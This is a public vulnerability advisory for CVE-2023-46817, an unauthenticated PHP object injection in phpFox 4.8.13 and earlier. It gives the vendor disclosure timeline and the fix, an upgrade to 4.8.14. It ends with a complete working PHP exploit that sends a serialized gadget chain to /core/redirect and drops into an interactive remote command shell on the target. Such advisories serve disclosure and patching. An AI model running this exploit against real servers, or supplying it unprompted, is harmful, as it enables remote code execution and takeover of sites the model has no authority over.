phpFox 4.8.13 PHP Object Injection

---

phpFox <= 4.8.13 (redirect) PHP Object Injection Vulnerability

[-] Software Link:

https://www.phpfox.com

[-] Affected Versions:

Version 4.8.13 and prior versions.

[-] Vulnerability Description:

User input passed through the “url” request parameter to the
/core/redirect route is not properly sanitized before being used in a
call to the unserialize() PHP function. This can be exploited by remote,
unauthenticated attackers to inject arbitrary PHP objects into the
application scope, allowing them to perform a variety of attacks, such
as executing arbitrary PHP code.

[-] Proof of Concept:

https://karmainsecurity.com/pocs/CVE-2023-46817.php

(Packet Storm note: POC included at bottom)

[-] Solution:

Upgrade to version 4.8.14 or later.

[-] Disclosure Timeline:

[05/10/2023] - Vendor contacted through https://clients.phpfox.com
[05/10/2023] - Vendor response stating “we currently do not have such
security requirements”
[06/10/2023] - CVE identifier requested
[09/10/2023] - Vulnerability details shared with the vendor, stating the
issue is quite critical
[17/10/2023] - Vendor contacted again, asking for an update
[18/10/2023] - Vendor response stating "this issue is fixed in our
latest version (4.8.13)", but that’s not the truth
[26/10/2023] - Version 4.8.14 released
[27/10/2023] - CVE identifier assigned
[27/10/2023] - Public disclosure

[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2023-46817 to this vulnerability.

[-] Credits:

Vulnerability discovered by Egidio Romano.

[-] Original Advisory:

https://karmainsecurity.com/KIS-2023-12

[-] Other References:

https://docs.phpfox.com/display/FOX4MAN/phpFox+4.8.14

— CVE-2023-46817.php poc —

<?php

/*
--------------------------------------------------------------
phpFox <= 4.8.13 (redirect) PHP Object Injection Vulnerability
--------------------------------------------------------------

author..............: Egidio Romano aka EgiX  
mail................: n0b0d13s[at]gmail[dot]com  
software link.......: https://www.phpfox.com

+-------------------------------------------------------------------------+  
| This proof of concept code was written for educational purpose only.    |  
| Use it at your own risk. Author will be not responsible for any damage. |  
+-------------------------------------------------------------------------+

[-] Vulnerability Description:

User input passed through the "url" request parameter to the /core/redirect route is  
not properly sanitized before being used in a call to the unserialize() PHP function.  
This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP  
objects into the application scope, allowing them to perform a variety of attacks,  
such as executing arbitrary PHP code.

[-] Original Advisory:

https://karmainsecurity.com/KIS-2023-12  

*/

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded(“curl”)) die("[+] cURL extension required!\n");

print "±-----------------------------------------------------------------+\n";
print "| phpFox <= 4.8.13 (redirect) PHP Object Injection Exploit by EgiX |\n";
print "±-----------------------------------------------------------------+\n";

if ($argc != 2) die(“\nUsage: php $argv[0] <URL>\n\n”);

function encode($string)
{
$string = addslashes(gzcompress($string, 9));
return urlencode(strtr(base64_encode($string), ‘+/=’, '-_,’));
}

class Phpfox_Request
{
private $_sName = "EgiX";
private $_sPluginRequestGet = "print '_____’; passthru(base64_decode($_SERVER[‘HTTP_CMD’])); print '_____’; die;";
}

class Core_Objectify
{
private $__toString;

function __construct($callback)
{
$this->__toString = $callback;
}
}

print "\n[+] Launching shell on {$argv[1]}\n";

$popChain = serialize(new Core_Objectify([new Phpfox_Request, “get”]));
$popChain = str_replace('Core_Objectify’, 'Core\Objectify’, $popChain);

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, “{$argv[1]}index.php/core/redirect”);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, "url=".encode($popChain));

while(1)
{
print "\nphpFox-shell# ";
if (($cmd = trim(fgets(STDIN))) == “exit”) break;
curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".base64_encode($cmd)]);
preg_match("/_____(.*)_____/s", curl_exec($ch), $m) ? print $m[1] : die(“\n[+] Exploit failed!\n”);
}